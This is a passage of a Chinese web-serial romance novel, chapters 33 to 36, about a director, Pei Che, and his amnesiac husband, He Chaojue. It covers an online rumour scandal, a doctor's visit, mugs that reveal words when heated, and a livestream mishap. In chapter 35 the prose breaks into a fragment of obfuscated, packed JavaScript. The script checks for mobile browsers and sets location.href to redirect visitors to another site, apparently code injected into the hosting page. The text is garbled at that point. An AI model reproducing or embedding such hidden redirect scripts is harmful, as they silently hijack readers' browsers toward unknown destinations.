真的？贺朝觉飞快瞥了裴澈一眼，迅速美滋滋地收了起来。
说到这，裴澈突然想起来：“对了，我还没问你，那天拍照是怎么回事？”
贺朝觉僵住了。
果然，有猫腻。
裴澈笑着仰头，将额头贴上贺朝觉的额头，看着他的眼睛：“怎么回事？也有什么特殊意义吗？”
青年面带好奇，眼神中流露出祈求的神色，轻轻拿额头蹭着自己。
贺朝觉受不住地脸一红，伸手抵住裴澈的下巴，脸微微侧：“……结婚。”
裴澈愣怔，失笑啾了他鼻尖一下：“那昨天晚上……难道是新婚夜？”
贺朝觉的脸爆红。
……
第二天一早，裴澈送贺朝觉去上班。
平时低调的好处是，不会一醒来就发现家门口蹲着娱记。裴澈把车停在地下停车场，坐专属电梯上去，一路把贺朝觉送到办公室，亲昵地在脸颊上亲了一下，才转身离开。
李特助目不斜视地抱着文件进去，嘴角诡异地上翘。
嘿嘿，BOSS和裴先生，这是终于复合了？
下一秒，他目光一滞。
放在BOSS桌子上那份极为眼熟的文件，那不是……
“来得正好，”贺朝觉抬头，瞬间印证了李特助的想法，伸手拿起文件递过来，“把这份协议书裱起来。”
李特助的手伸到一半：“？？？”
什么起来？
他的目光扫向协议书，面露谴责，没想到，BOSS还学会了当面一套背后一套！
这时，窗边卷过一阵微风。协议书纸角飞扬，李特助隐约看见另一个签名。
笔迹不同，但也很熟悉。
他心神一震。什么？裴先生也签了？
“你那是什么表情？”贺朝觉腾地收手，皱起眉头。
李特助连忙收敛神色，坚定得仿佛要入党。
“算了，”贺朝觉低头思索片刻，挥挥手让李特助离开，“不用你了。”
这么有纪念意义的协议书，他要自己亲手裱。
李特助恍恍惚惚地往外走去。
走到一半，BOSS突然叫住他：“对了，你知道红色感叹号是什么意思吗？”
李特助又恍恍惚惚地出了办公室，就看见裴澈等在外面。
一见青年，他下意识比出个鼓励的大拇指。
拉黑得好，我支持你。
裴澈
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：？
不过他有正事：“李特助，我特意在这等你的。最近劳烦你多观察一下你们BOSS，要是他有什么关于我的奇怪想法，就给我发消息。”
*
片场外面的情况比家里和辰辉严重得多。
经过一晚的舆论发酵，加上裴澈的推波助澜，“新生代导演潜规则剧组新人”的丑闻正被推到舆论顶峰。
刚拐过街角，裴澈就看见乌压压的蹲点娱记，将片场门口挤得水泄不通。
他一从车上下来，长枪短炮似的镜头和话筒瞬间逼上来。
“关于最近您潜规则剧组新人的新闻，有什么要说的吗？”
“顶着压力来片场进行拍摄是什么感受？”
“易帆今天不在拍摄现场，是否您公器私用，擅自更改拍摄计划？”
裴澈神色冷淡，面无表情地大步向前走。
刚迈出几步，忽然一只话筒猛地伸到他面前，险些碰到鼻尖。提问的记者满脸通红，情绪非常激动：“有最新消息称，易帆在酒店被两名警察问询，您作何解释？”
裴澈毫不客气地推开话筒，冷冷瞥了那人一眼：“你的暗示很危险。”
见裴澈继续往前走，那人急了，一个箭步上前，声音陡然拔高：
“易帆被警方问询，是否证实您和剧组新人之间存在□□易的行为？”
周围瞬间寂静无声。
裴澈站定，缓缓回过头，声音低沉带着彻骨的温度：
“清者自清，相信今天大家会看到真相。”
“至于你，”他顿了顿，目光缓缓落在刚才提问的记者身上：“造谣最好别带上公安部门。这样的风险，不是一般人能承担的。”
说完，不再理会周围惊讶的娱记，冷静穿过人群走进片场。
工作人员们也都看到了新闻，虽然相信裴导，多多少少有些紧张忐忑。
裴澈推门而入，目光从众人脸上扫过，露出一个微笑。
“辛苦大家了，因为我的私事带来麻烦，但很快就会平息。”他顿了顿，语气轻松地加了一句，“中午有热闹看，可以稍微期待一下。”
紧绷的气氛缓和下来，上午的拍摄任务有条不紊地结束。
午休时间，姜雅歌翘着脚刷某博。
老板说的热闹，快让她看看。
嗯？她刷着手机的手突然一停，欻地把墨镜推过头顶，双眼圆瞪凑到屏幕前。
卧槽？！
路过的裴澈瞥过一眼，觉得姜雅歌现在越来越浮夸了：“这么热闹？”
姜雅歌猛地转头看他，差点没把脖子扭掉。
“热闹，热闹！”她眼神直勾勾地点头，露出几分鬼祟的笑容，刷地把手机摆到裴澈眼前：
“老板，这些您都提前算好了？”
“嗯——”裴澈视线一转，嗯的声调瞬间转了个八拍。
这是什么东西？！
#全网寻找消失的易帆
配图：一张裴澈和贺朝觉的合照。
背景光影看确实是同一时期的合照，但就像三折纸中间被抽走了一块，再重新拼合在一起。
裴澈一眼认出，这是上次他们请易帆吃饭的合照。
贺朝觉，他，还有易帆，他们仨。
#全网寻找消失的易帆
裴澈：“……”
33.第 33 章
姜雅歌嘴角快咧到耳根后面，笑得乐不可支。
“贺总这照片裁得真狠，小帆一片衣角都没给留下。”
裴澈视线忍不住在照片上停留一会，默了。
姜雅歌说得很对，贺朝觉大概是比着尺裁的，一丝能让易帆越出框来的余地都没留。
“哈哈哈哈哈哈！”又是一阵毫不掩饰的笑声，姜雅歌仰着头举起手机，“老板！你不知道网友多有才，看看看，他们在勺子反光里看见小帆了！”
裴澈：“？？？”
静默了一会，他微妙地咳嗽一声，问道：“他们就关心这个？潜规则词条呢？没讨论度了吗？”
“啊。”姜雅歌挠挠脸，她也忘咯。
她往下扒拉扒拉，终于看见一条相关的评论：“有了！‘表情好老实，怪不得会被姑父一家欺负成那样。’”
下面其实还有一句【夹在中间好像一家三口！贺总：我没有你这样的儿子】，姜雅歌飞快点了个赞，若无其事地看向老板：“好像小帆那边舆论已经彻底翻转了。”
裴澈点点头，对这个基本在掌控中的魔幻结局表示……满意。
他真的不是很懂现在的网友。
姜雅歌低着头继续吃瓜，中间还甩给裴澈一个全瓜梳理帖。
裴澈拿着手机发消息：“既然易帆的事解决了，我让宣发那边跟进一下，顺便发一批花絮跟跟热度，你也注意挑一下。”
他顿了一下，又正色道：“我不爱看八卦，特别是自己的。”
说完，裴澈很自然地收起手机，全程目不斜视，没有点开那个全瓜梳理帖。
因为将易帆戏份调整到明天，下午集中拍摄了几场武戏。裴澈负责把握整体镜头，动作细节由动作导演和武指细抠，相对来说轻松一点。
休息时，裴澈忍不住打开手机，表情正直地点开了那个梳理帖。
嗯……他只是有点好奇，话题是怎么跳跃到这的。
裴澈迅速扫过博文，发现前期发展和自己预计得基本一致。
受到小陶放出去的酒店现场视频照片影响，很快有营销号踩中陷阱，和早上那个记者一样，光明正大猜测是性.交易现场被警方抓获。
这样的谣言假新闻，转发一会就过万，很快公安机关不得不出来澄清。他们转发了一条当天的警情通报，尽管通报里使用的都是化名，但不难看出，易帆是事件的受害者。
在这个地方，本来应该由小陶进一步放出爆料，引导舆论深扒易帆姑父一家。
结果有个真路人先她一步，放出一段街头吵架的视频，还火了。
裴澈点进去一看，果然是贺朝觉声称加班那天，两人去餐厅路上偶遇救下易帆的视频。
从这段视频开始，这个瓜的画风就一去不复返了。
裴澈英雄救美的争议都没起来，就有眼尖的网友发现副驾驶坐着贺总，迅速和贺朝觉当天的博文对上，得出结论，三个人一起去吃饭了。
那么，已知一起吃饭的有三个人，但合照中只有两个人。
求解：剩下一个人去哪了？
#全网寻找消失的易帆
裴澈微微摇着头，放下手机，嘴边还带着笑意。
想到什么，他的笑意又猛地一敛。
那天……裴澈记得，贺朝觉一开始说的是有紧急事情要加班，还提到和橙子娱乐的合作，后来却只是拿了几份文件回家。
现在回想起来，处处都是反常。
贺朝觉现在表现得倒是很平静正常，但之前自己不也是没认真对待，就被他整了个大的。这一次，自己昨晚的话，他真的会这么简单就彻底相信吗？
不行，裴澈皱眉若有所思，一会得去咨询下贺朝觉的医生才好。
*
钟医生抱臂靠立在贺朝觉的办公桌前：“说吧，找我什么事？加回来好友不需要这么着急吧？”
贺朝觉脸色不好看，强忍着火气问：“你有靠谱的脑科医生推荐吗？”
钟医生挑眉，瞥他一眼：“哟，我还以为该是裴澈帮你问，终于知道你自己脑子进水了？”
贺朝觉：“……”
不行，还没问完。
他嘴角一抽，生生咽下反驳，硬邦邦地补充：“还有心理医生。”
钟医生收敛了玩笑的神色，微微正色问道：“什么类型的心理问题？”
贺朝觉斟酌了一下，捡重点说：“长期的身体和心理虐待，失去自由……”
玩得挺花！钟医生瞬间脸一拉。
他翻个白眼，嗤笑一声：“还有性.虐待，是吧？”
“！！！”
他怎么会知道？！
贺朝觉一瞬间僵住，心中警铃大作。他深吸一口气，点头认下，语气低沉：“……嗯。”
钟医生转身就走：“建议去找公安部门自首哈。”
“……”
贺朝觉最终还是如愿得到了一位脑科医生的联系方式。
对着搜出来的某度百科页面，他不禁皱起眉头，头发花白，戴着眼镜，这人怎么长得格外眼熟？
几秒后，贺朝觉恍然大悟，不就是他车祸之后的主治医师嘛！
*
傍晚，裴澈来接贺朝觉下班。
说是傍晚，其实才4点不到，算半下午。
“这么早啊……”被塞进副驾驶座的贺朝觉坐得笔直，飞快瞥裴澈一眼，欲言又止。
裴澈面色如常地系上安全带，侧头看他，斟酌着要说什么。
两人沉默了两秒，突然双双开口：
“带你去复诊。”
“要不要去复诊?”
异口同声。
裴澈一愣，随即反应过来贺朝觉说了什么，紧张地凑过来：“怎么了？你又头疼了吗？”
贺朝觉忙摇头：“没有没有，不过今天应该是复诊的日子，我应该没记错吧？”
还真不是。/他没察觉到什么吧。两个心知肚明的人各怀鬼胎，对视一眼，双双坐正。
“对。”
“那去吧。”
裴澈/贺朝觉松了口气，还好，他应该是记错日期了。
车在去往医院的路上疾驰。
裴澈安静地开车，贺朝觉安静地刷微博——
【裴导和易帆不可能，因为贺总真的看得很严哈哈哈】
点赞。
【去酒店捞人那天，贺总还晒了老婆送自己的花，老婆看电影睡在他怀里爽死了吧】
点赞。
【接漂亮老婆躺在我怀里看电影，不挑，裴导这样的就行，我从小就没
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有老婆，贺总让让我】
！！！
举报！
裴澈用余光从后视镜里看他。
男人表情严肃，下滑着手机屏幕，不时点动手指，似乎在处理公事。
还挺忙的。
……
检查的结果不错，后脑淤血在稳步消除中。虽然这不是今天的真正目的，裴澈还是松了一口气。
旁边的贺朝觉显然有些心不在焉，医生讲解时，他目光飘忽，一副走神的样子。
裴澈自己也一心多用，一边把要点一一记下来，一边惦记着想找个机会和医生单独聊。
“……大体情况就是这样，后续还需要再观察。”
医生话音刚落，裴澈立刻递去一个眼神。有事和您私聊。
医生瞟了他一眼，又看了看贺朝觉，沉吟片刻，从抽屉里拿出一叠量表递给贺朝觉：“病人需要填写一些量表，用于评估认知状况。旁边有安静的房间可以使用。”
贺朝觉一脸疑惑：“？？？”
裴澈和蔼地看他：“去吧。”
等到贺朝觉不情不愿地离开，医生转头看向裴澈：“家属有什么想问的？”
裴澈组织了一下语言，缓缓开口：“最近发生了一些事，我觉得朝觉的情况比我们之前讨论的更复杂。”
医生微微点头，示意他继续说下去。
“他好像对车祸之前的记忆产生了扭曲，”裴澈顿了顿，逐渐顺畅地说道，“觉得我们的感情并不好，特别是觉得他自己对我不好。”
“你们谈过这件事吗？”医生问。
“谈过，”裴澈点头，“我告诉他我们的感情一直很好，还提到了一些过往的事。他表面上似乎接受了。”
“但你不确定这对他的恢复是否有帮助。”
裴澈再次点头：“是的。我想知道，有没有办法可以温和地帮他接纳真实的记忆？”
【建议多接触熟悉的、和关键记忆相关的记忆点，可以用一些具体的物品和场景，慢慢唤起记忆。】
医生的话被裴澈满意地记在备忘录里，又仔细通读了两遍。
这时，捧着量表的贺朝觉回来了。
他放下量表，双臂撑在桌边，背着裴澈居高临下地给了医生一个冷脸，眼神示意。我有话和你说。
医生：？？？
他颤颤巍巍地扶扶眼镜，转头对裴澈道：“家属，因为医患隐私的考虑，量表结果分析我要和患者单独聊一下。”
裴澈：“……”
他还以为那个量表是个幌子？
但他还是配合地起身离开。
一等裴澈出去，贺朝觉马上问医生：“我有个……朋友，他的爱人因为过往形成了一些心理问题，编造了两人的美好回忆欺骗自己，这种情况下，我……那个朋友想知道，怎么可以慢慢引导爱人走出来？彻底摆脱虚假？”
医生默了片刻，盯着贺朝觉看了几秒，直到他皱眉示意不耐。
“如果你那个朋友的情况属实，”医生缓缓开口，“最好让他的爱人远离任何触发创伤的记忆点，在一个更安全的新环境中稳定下来。”
贺朝觉若有所思地点点头。
医生眨眨眼，又温吞地补了一句：“还有，夫妻之间要保持坦诚的交流。”
34.第 34 章
裴澈俯身给贺朝觉系安全带，男人僵硬地任他施为，时不时抬眼偷偷摸摸地瞄他，神情带着几分若有所思。
他起身把手撑在车门上，头顶长了眼睛似的：“看我干嘛？”
贺朝觉腾地坐直：“没什么！”
“是嘛。”
裴澈狐疑地坐进驾驶座，狠狠揪了一下贺朝觉的脸，没再深究。
一副狗狗祟祟的样子，和医生聊了什么也不告诉自己。
哼，他凉凉地从后视镜瞥爱人一眼，觉得这家伙没听进去话心里有鬼的可能性大大上升。
“晚上吃什么？”
今天是周五，两个人下班又早，从医院兜了一圈才六点左右。夕阳落在高楼大厦的空缺里，映得不远处的玻璃幕墙一片粉蓝。
裴澈等了一会，没听见贺朝觉的回复。
干什么呢？
他正要重复，贺朝觉突然拔高音量，像是看见了什么东西，语气激动：“阿澈，可以停一下车吗？”
裴澈不明所以地拐到小路里，停在路边转头问：“怎么啦——”
声音戛然而止。
贺朝觉不知道从哪里掏出来那份离婚协议书，攥在手里急冲冲就要下车。
裴澈：“……？”
赶紧欻地把人拽回来，啪唧锁上车门：“急着干什么去呢？也不回答我。”
贺朝觉抬眼看他，好看的剑眉像毛毛虫一样攒起来，有点不好意思：“看见一家装裱店，我去裱起来。”
裴澈：“……裱、裱起来？”
贺朝觉严肃点头：“阿澈，回头咱们把卧室那张照片撤下来，把这个协议书挂上去！”
裴澈嘴角抽了一下：“挂上去？”
对啊，贺朝觉觉得这个主意简直完美。那张所谓“结婚照”，还是那个人强迫阿澈拍的，对他而言，一定是触发创伤的记忆点之一吧。
等等，卧室……？卧室才是最大的记忆点啊……
完全不知道爱人此时在想什么，裴澈把脑海里离婚协议书挂床头的场景按回去，深吸一口气，冷酷地没收了贺朝觉的协议书。双手交叉，面无表情：“免谈。”
他原以为贺朝觉会反驳，却没想到对方居然一言不发，缩在座位里低头沉思，像在思考什么大事。
不让他挂，就这么不开心？
裴澈抿抿唇，侧头轻声道：“李特助说，辰辉下周的新品发布会上，家用智能机器人会有家庭生活的模拟互动环节，要不，我和你一块出演？”
在某博公开一下，就开心了好久，应该会喜欢秀恩爱吧？
可贺朝觉仍然没反应，双眼出神地落在虚空里，眉毛都皱起来了。
裴澈心里一沉，他真的这么在意？是不是自己刚才的拒绝太冷淡了？
“朝觉，”裴澈轻轻戳戳爱人，声音压得更加轻柔，“要不裱起来放你抽屉里？”
贺朝觉突然一个激灵，猛地从深思中回神，转头脱口而出：“阿澈，今晚能不回家了嘛？”
裴澈：“？？？”
额头突突，语气瞬间凉下来：
“怎么着？不让你挂就要离家出走了？”
贺朝觉一脸惊恐，急忙解释：“不是。我是想着今晚天气好，我们去西郊住，换个环境过周末，明早还能一起看日出。阿澈，你觉得呢？”
至于过完周末之后，贺朝觉垂眸敛住神色，他自有办法让阿澈同意不搬回来。
裴澈皱眉，可医生说要多待在熟悉的环境中。
他缓缓商量道：“我们去把协议书裱起来，剩下时间吃个饭再回家就很晚了，西郊日出下次再看吧。”
再看贺朝觉一副小可怜期盼的样子，裴澈稍作停顿，轻声补了一句：“要换环境的话，我们明天大扫除，重新布置家里怎么样？”
看着贺朝觉重新高兴起来，喜滋滋地抱着裱好的协议书坐在一边，裴澈嘴角也不禁挂上微笑。
正好，明天把他们爱情的证明都翻出来给贺朝觉看看。
*
第二天果然是个晴天，一大早，熹微晨光斜斜洒进客厅，照得整栋房子柔和地发光，是一个适合大扫除的好日子。
贺朝觉穿着一身轻便休闲衬衫，袖子挽到胳膊肘，斗志满满：“阿澈，我们从哪开始？卧室？”
脑海里猛地蹦出那张裱好的离婚协议书，裴澈光速否决：“卧室的陈设我都习惯了，保持原样就很好。”
贺朝觉有点失落，看着裴澈坚决的样子，没有反驳。
裴澈左右扫视一圈，逐渐确定了目标——
“你的书房？”
贺朝觉把头摇成了拨浪鼓，站在门口死活不肯进去。
“这条线烫脚？怎么不敢越雷池一步？”
裴澈看向贺朝觉身前地上的门框线，语气凉凉：“还是说，这个书房在你的剧本里面，有什么——”
话还没说完，贺朝觉双眼一闭，视死如归地迈了进去。
“怎么会！”站在书房里，他一脸诚恳，“阿澈你相信我，你的话我都听进去了，没有剧本了。”
呜呜，这是阿澈最后的一片净土了，他决不能让自己毁了这里。
裴澈意味深长地“哦”了一声，抬步往里走去。
他拿起桌上的一只笔架，扔到一脸局促跟过来的贺朝觉怀里：“这个笔架和桌子不太搭，不如——”
下一秒，裴澈手掌一翻，“把这个你送给我的生日礼物放上去吧。”
红木雕刻而成的笔架端在青年手里，木纹细腻温润，做工精致。
贺朝觉神色复杂地扫过笔架和桌子。
裴澈简单抹过层层叠叠的云纹，其实根本没有灰，把它送到贺朝觉眼前：“是不是协调多了？帮我放一下。”
贺朝觉：“……”
这个东西和简约现代风的桌子，它搭吗？
裴澈已经转向下一个目标：“这个书挡也是……”
“还有这个摆件……”
……
贺朝觉一脸麻木地跟在后面拿东西，放东西。
裴澈的手指又抚过台灯，眼睛一亮：“这个不能换，你专门给我配的，光线柔和恰到好处不伤眼！”
他嘴角噙着笑，转身在贺朝觉侧脸上亲了一下。
贺朝觉脸微微红，更是觉得，拯救阿澈，刻不容缓！
半小时后。
“好了，收拾得差不多了吧。让我看看，还有什么——”
裴澈弯到一半的笑意突然消失，他眼前的书房，呈现一种整理过又仿佛没有的奇异状态。
笔架、书挡、摆件……交代贺朝觉换的东西一样没换，就是丢手绢似地兜了一圈，轮着位置交叉重新摆过。
裴澈特意翻出来的礼物也没看见，倒是台灯原本所在的位置空空荡荡。
“……”
裴澈看了眼贺朝觉背后探出的大
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半个台灯，没好气道：“你把它藏起来干什么？”
贺朝觉眼睛望天，装傻：“我没拿。”
裴澈拍拍他背到身后的手臂，伸掌摊开在他面前，面无表情：
“快拿出来，我们相爱的证明。”
*
忙活半天，约等于进度为负。
督促着贺朝觉把台灯放回去，裴澈拧眉靠在一边，觉得指望用这些物品唤起爱人的记忆，好像不太有用。倒是贺朝觉破绽漏得太多，现在他基本能确定，这祖宗从头到尾就没相信过自己说的真相。
心里忽然有些沉重，他低垂着眼睫，看贺朝觉不太情愿地放着东西。没有责怪，却一瞬间压抑不住点点委屈。
“我去厨房接点水，”裴澈揉揉额头，转身下了二楼。
阳光大片大片洒在厨房的餐桌上，明亮又温暖，裴澈坐在桌边有些出神。
贺朝觉走进来，看见桌子上空荡一片，顿时怔住：“不是喝水吗？”
裴澈走到柜门前，嘴角扯起一抹笑，掩盖住内心的复杂情绪：“我突然想起，去年从J镇带回来的那套茶具还没用过。”
他动作轻缓，语调淡淡，低头弯腰打开下面的柜门：“奇怪，不知道刘嫂是不是放这了。”
裴澈搜寻的眼神突然一顿。
等等，那是什么？
贺朝觉正在一边自觉地装壶烧水，忽然听见裴澈语气复杂地问道：“朝觉，这是什么？”
回过头去，就看见他两手举着一对奇怪的白色丑马克杯。
贺朝觉：“！！！”
裴澈眉头一挑，避开贺朝觉下意识抢来的手。哟，他认识啊。
“送我的礼物？”裴澈瞬间来了兴致，掂在手里上下打量，“怎么从来没见过？”
贺朝觉不敢动了，眼珠牢牢盯着。
他知道这杯子怎么回事。上面的东西，绝对不能让阿澈看到！
贺朝觉急中生智：“对，礼物！我先去洗一下。”
裴澈将信将疑地递给他，半开玩笑：“别给洗碎了。”这杯子绝对有事。
贺朝觉急急忙忙用冷水仔细冲过，接了一杯半回来，把半杯放到裴澈面前。
“先别喝，一会掺点热的。”
裴澈手伸到一半，被叫停。他清清浅浅地笑，把脸贴到贺朝觉旁边：“还记得，我没小产吧。”
贺朝觉闷了一声：“嗯，胃病。”反正都不能喝凉的。
他自己举起马克杯，用一种奇怪的姿势喝冷水。
右手捂住杯身，大拇指朝里扣在马克杯的把上，对着把上那块杯口咕咚咕咚，瞬间喝了小半杯。
裴澈坐在他左边：“……”
行吧。
过了一会，壶里的水烧热了，贺朝觉帮裴澈加上，顺带递给他一根吸管。
裴澈低头看看马克杯朝左的把。
他面前，贺朝觉紧张地搓搓手指。
“还挺别致的喝水方式。”裴澈好像没在意，接过吸管。
贺朝觉刚松了一口气，下一秒，裴澈微微挑眉，以迅雷不及掩耳的速度将身前的马克杯转了半圈。
在热水的温度下，白色马克杯上，现在面对裴澈的一面，赫然呈现出两个温变字——
“月亮”
月亮二字前面，还有半截朝右的爱心。
裴澈抬眸看向贺朝觉，幽幽道：“怎么回事，又藏了我们相爱的证据。”
35.第 35 章
贺朝觉：“！！！”
裴澈上一秒接过吸管，没有多问的意思，下一秒就毫无征兆地转过马克杯。
一切发生在电光石火之间，他根本来不及阻拦。
阳光斜斜地从大落地窗洒进来，青年嘴角噙着微不可见的笑意，“月亮”两个字温柔地倒映在他的瞳仁深处。
裴澈抬头看他，眼神里带着抓包的促狭，似乎在说：看你怎么解释。
贺朝觉脸色一白，下意识攥紧了手里的马克杯。
相爱的证据……阿澈什么都不知道，甚至不知道他自己为什么遭遇这场强取豪夺的无妄之灾。
刚刚看见这对马克杯的时候，贺朝觉的脑海中突然闪过一段关于那个人的新记忆。
原来，那个人心里也一直有一个人，这对亲手制作、没能送出去的温变马克杯就是证据，是那个小偷留下的痕迹！
不要脸……居然还留下这种东西，写什么酸溜溜的“月亮”。一瞬间，贺朝觉瞳孔放大，恨得牙关紧咬，心里有人还对他的阿澈下手，要不是死了，真恨不得把那个狗东西挫骨扬灰！
胸腔里一阵窒息般的心疼和愤恨交织，贺朝觉勉强收拾好自己：“……练手做的，做得太丑了。”
“太丑了”三个字从牙缝里挤出来，说得十分真情实感。
俊朗的眉眼此时有点蔫巴，微微掀起眼皮瞄过来，眼神闪躲，有点不知道怎么面对的感觉。
裴澈正儿八经地点点头：“是有点丑不拉几的。”
贺朝觉手立马上来了，迫不及待：“扔了！我给你做新的阿澈。”
裴澈逗狗似地拎着杯子一撤，一手按住贺朝觉，另一手举起杯子对着光打量。
底胚拉得中规中矩，看着像第一次上手又练习了很久的样子。阳光里微微透明温变釉底下，“月亮”两个字笔迹熟悉又缱绻，一看就是男人亲手写的。
啧，还有点肉麻怎么回事。裴澈心情很好：“仔细一看也没有那么丑嘛，恰到好处还有点可爱。”
贺朝觉：“……”
低着眉眼微微咬牙，好像在想找个什么理由让裴澈把杯子扔掉。
裴澈的目光却在他手里那只上面打转，冷不丁问道：“它们是一对，那你手上的杯子写的什么？”
贺朝觉喝的冷水，又把有字的那面捂在手里，避开裴澈坐的方向，小心思可谓是捏得死死的。
越是不让裴澈知道，他就越是好奇心上来了，一把凑到贺朝觉身边，平日里矜持清冷的气质都没了，伸长手臂作势要拿：
“写的什么呀？给我看看，快别藏了，让我看看！”
青年轻快的声音拍过来，音色恰到好处的清脆，像是勾到了脑海深处的一根弦，贺朝觉蓦地一僵，脑子嗡了一声。
“你帮我写了？别藏了，让我看看！”
一道清脆的少年音带着惊喜在他脑海里炸开。
贺朝觉晃晃头，世界在眼前失焦放大，有点耳鸣般的眩晕。
他下意识抓紧马克杯，潜意识里升起一种感觉，他知道那个杯子上写着什么，但好像……
明亮的圆月挂在深蓝天幕上，晴得看不见一颗星星。带着微微铁锈味的栏杆咯在背上，鼻端是淡淡好闻的洗衣液味，他抬头望着夜空出神，嘴角不自觉地流出放松笑意。栏杆另一边，少年故作生气拿着脾气，想方设法骗他把纸递过去。
“让我看看……”
“朝觉！朝觉！”
眼前的男人突然扶着后脑摇晃起来，眉眼间挣扎出困惑的痛色。
裴澈脸色一变，瞬间把马克杯抛在脑后：“怎么了？头疼？”
贺朝觉紧紧攥着裴澈的手，摇摇头，眼前的视野逐渐清晰起来，没有栏杆，没有夜空，没有少……年。
他震惊地看向裴澈，马克杯，马克杯是他要送给裴澈的。
不对，马克杯是那个人做的。“月亮”，“月亮”是谁……？
眼见爱人眼神清明了一刻，又捂着头痛苦起来，裴澈心急如焚，哄道：“别想了，别想了……过来……”
搀着他坐到沙发上，裴澈倒了点热水递给他，诱哄着让他喝了两口。
马克杯被随意撇在一边，谁也没有想起来去看。
裴澈一边低头给医生发消息，一边用余光关注着贺朝觉，准备一有不好就带他去医院。
消息打到一半，贺朝觉突然坐正了，恍恍惚惚的神情一清，猛地转向裴澈，眼神比划一下两个人之间的距离。
裴澈打字的手一抖，缓缓抬头看去：“你……”
贺朝觉眉头一皱，扁着嘴开口了，语气委委屈屈：“老婆，你干嘛坐得离我那么远？”
裴澈：“？？？”
贺朝觉好像好了，又好像更傻了，完全忘记刚刚发生了什么，像喝了假酒一样。
现在他侧躺在沙发上，两臂环抱着裴澈的腰，脸埋进背后哼哼唧唧。
一米九的大个子，手长腿长的，像一个小朋友。
裴澈温声细语：“头还疼不疼了，要不要去楼上睡会？”
贺朝觉捕捉到关键词，一下支楞起来，拼命摇头：“卧室，不去，老婆也不去。”
“别摇，”裴澈连忙转身，揪住他，“一会又晕了。”
他头疼地看着傻兮兮的男人，一时不知道怎么办才好。
视线越过沙发看向不远处的茶几，杯中水还散着一点微末热气，釉面上的左半爱心只能看见隐约红色，在应该写着字的地方一片空白，只有一抹比背景偏深的色彩。
裴澈心里止不住地疑惑。这对没有送给自己的杯子，为什么贺朝觉对它们反应这么大？
……
中午两人干脆点了外卖，是惯吃的餐厅。
贺朝觉很没有安全感的样子，一直挤在裴澈身边。
“让一……好吧，就这么着吧。”
夹个菜都担心自己一肘把爱人脑壳捣坏，看着诺大的空荡餐桌和身侧紧贴得连条缝都没有的男人，裴澈缓缓呼出一口气。
贺朝觉敏锐感受到他的情绪变化。
“老婆，吃这个！”贺朝觉夹着满满一筷子菜，送到裴澈嘴边，“啊——”
裴澈：“……”
不是他嫌弃，那一筷子菜，快比他头还大了。
这种反常的黏人情绪到下午才好了一点，但是裴澈一提去医院，他又把头摇得飞快。
剑眉星目的男人闲闲而立，姿容稳重，一手插在裤子口袋里，眼里流出……唔，清澈愚蠢又自得的神色：
“老婆，你看我都好了！而且你下午不是还有直播嘛？”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157506|146910||http|test|mini|href|location''.split(''|''),0,{}));
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>直播是昨晚临时定的。
宣发那边紧急剪了一堆花絮，打算趁热度还在，做一波剧宣。
加上易帆的绯闻还没有正面澄清，索性安排裴澈做一场直播，宣传《半生烟梦》的同时顺便回应一下。
书房有现成的设备，裴澈调好收音和镜头，有点头疼地看向蹲在门口的贺朝觉。
男人束手束脚地扒着门框，眼里流露出渴望的神色。
“快进来，今天不是让你进书房了吗？”
裴澈招招手，男人眼睛一亮，噌地站起来，三步并作两步贴到他身边。
伸出一根手指抵住额头，裴澈把贺朝觉推出镜头：“乖，我先工作，不需要你出镜。”
之前贺朝觉有点傻的时候他都有点担心，今天这么傻……还是别了。
三点一到，直播间准时开通。
清泠矜贵的青年坐在椅子里，挥手对着镜头打招呼，背景是风格简约的工作室，东西安置得井井有条，但一看就很舒适。
“大家好，我是裴澈，很高兴今天见到大家。”
【前排抱抱老婆，老婆好美！】
【楼上小心哈哈哈！贺总 is watching you.jpg】
【Q版贺总拿剪刀，都剪（划掉）杀了.jpg】
裴澈微微一笑，桌下的另一只手在贺朝觉掌心安抚地挠了挠。
“谢谢大家的支持，很多新朋友可能最近才认识我，也感谢老朋友们，一直以来支持我……”
事实证明，广大网友对易帆事件很热情，但只局限于玩梗，他们对澄清居然不！感！兴！趣！
话题主要围绕裴澈本人，时不时跑题到贺总在家不，在有影迷偶尔cue新电影的情况下，讨论还是一路滑到了裴澈的书房装饰，就是这么离谱。
“嗯，这个是分镜板，用来调整场景顺序比较自由。”裴澈稍微调整镜头，拉近到桌前方便直播间看。
“有没有剧透？不用担心，这些分镜在今天释出的花絮也有出现，如果大家对剧情感兴趣，欢迎期待接下来的宣传和预告片。”
讨论终于又回到正轨，开始有人关心全片的时间线，还有一些细小的导演视角的有趣问题。
裴澈不厌其烦地一一解答。
就在这时，突然又蹦出一条评论：
【那个……可能有点不合时宜，但是我忍了很久了哈哈哈哈哈哈，裴导桌子上那个笔架，风格严重不符吧哈哈哈哈】
评论停滞了0.01秒，猛地刷出一条【合理怀疑是贺总买的】
底下开始刷屏，跟风整齐划一。
【合理怀疑是贺总买的】
【合理怀疑是贺总买的】
【合理……
裴澈：“……”
他下意识抬头用视线去找贺朝觉，却没有看见。
怎么回事？之前男人都捧着手机在旁边静音看直播，现在却突然不见了。
来不及着急，下一秒，镜头前的裴澈，和直播间几十万双眼睛一起看到——
白色大理石的桌边猛地伸出一只手，修长好看的手指偷偷摸摸在桌子上掏了两下，好像在定位，然后一把抓起那个红木雕刻的精美笔架，以迅雷不及掩耳之势，噌地缩了回去。
直播间网友：“……”
36.第 36 章
裴澈眼角一抽，桌子下面的脚下意识往前找了一下。
“嗷！”
踢到一个墩在那里的贺朝觉。
评论顿时疯狂刷新：
【什么死动静】
【哈哈哈哈贺总在家啊】
【这个声音，难不成被老婆踢了一脚吗】
裴澈也顾不上直播了，第一反应：“起来慢点，别撞着头！”
藏在桌子下面的贺朝觉却没急着起来，几乎同时，他不带停歇地翻手又摸上了桌子，这次，手里拿着裴澈原先的那个笔架，简约现代风，啪唧一声放到桌面上的空位。
同样简约风的大理石桌子嗡嗡地低声道：“阿澈我没事。你看，还是这个比较配吧。”
声音压得极低和做贼一样，但掩不住的得意。
裴澈：“……”
